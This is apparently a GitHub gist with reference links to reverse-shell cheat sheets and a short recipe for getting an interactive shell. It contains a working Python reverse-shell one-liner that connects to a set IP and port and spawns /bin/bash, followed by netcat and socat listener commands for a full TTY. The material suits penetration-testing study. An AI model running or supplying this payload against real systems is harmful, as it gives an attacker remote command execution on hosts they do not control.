- http://pentestmonkey.net/blog/post-exploitation-without-a-tty | Post-Exploitation Without A TTY | pentestmonkey
- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet | Reverse Shell Cheat Sheet | pentestmonkey
- http://bernardodamele.blogspot.ca/2011/09/reverse-shells-one-liners.html | Reverse shells one-liners
- http://serverfault.com/questions/102277/getting-a-tty-in-a-connectback-shell | linux - Getting a TTY in a Connectback Shell - Server Fault
- http://www.dest-unreach.org/socat/doc/socat.html#EXAMPLE_OPTION_CTTY | socat
- http://www.dest-unreach.org/socat/doc/socat-ttyovertcp.txt | www.dest-unreach.org/socat/doc/socat-ttyovertcp.txt
- http://stuff.mit.edu/afs/sipb/machine/penguin-lust/src/socat-1.7.1.2/EXAMPLES | stuff.mit.edu/afs/sipb/machine/penguin-lust/src/socat-1.7.1.2/EXAMPLES
- http://superuser.com/questions/123790/socat-and-rich-terminals-with-ctrlc-ctrlz-ctrld-propagation | linux - Socat and rich terminals (with Ctrl+C/Ctrl+Z/Ctrl+D propagation) - Super User
- http://blog.rootshell.ir/2010/08/get-your-interactive-reverse-shell-on-a-webhost/ | Get Your Interactive Reverse Shell on a Webhost | The #Shell
-
-
Save xeoncross/7930942 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet | |
| # on the CLIENT, run the following: | |
| # nc -l 12345 | |
| # on the SERVER, start the "reverse shell" | |
| python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345 | |
| # now go to the CLIENT, listen on port 12345 for incoming shell connections | |
| nc -l 12345 | |
| # that worked, but note that 'nc' does a terrible job emulating a tty | |
| # (arrows keys aren't sent correctly, don't even try launching vim) | |
| # instead, let's install socat, a smarter netcat, via "sudo apt-get install socat" or "brew install socat" | |
| # launch socat, asking it to to talk forward all traffic on 12345 to /dev/ttys003 (raw,echo=0 fix tty issues) | |
| socat `tty`,raw,echo=0 tcp-listen:12345 | |
| # enjoy |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment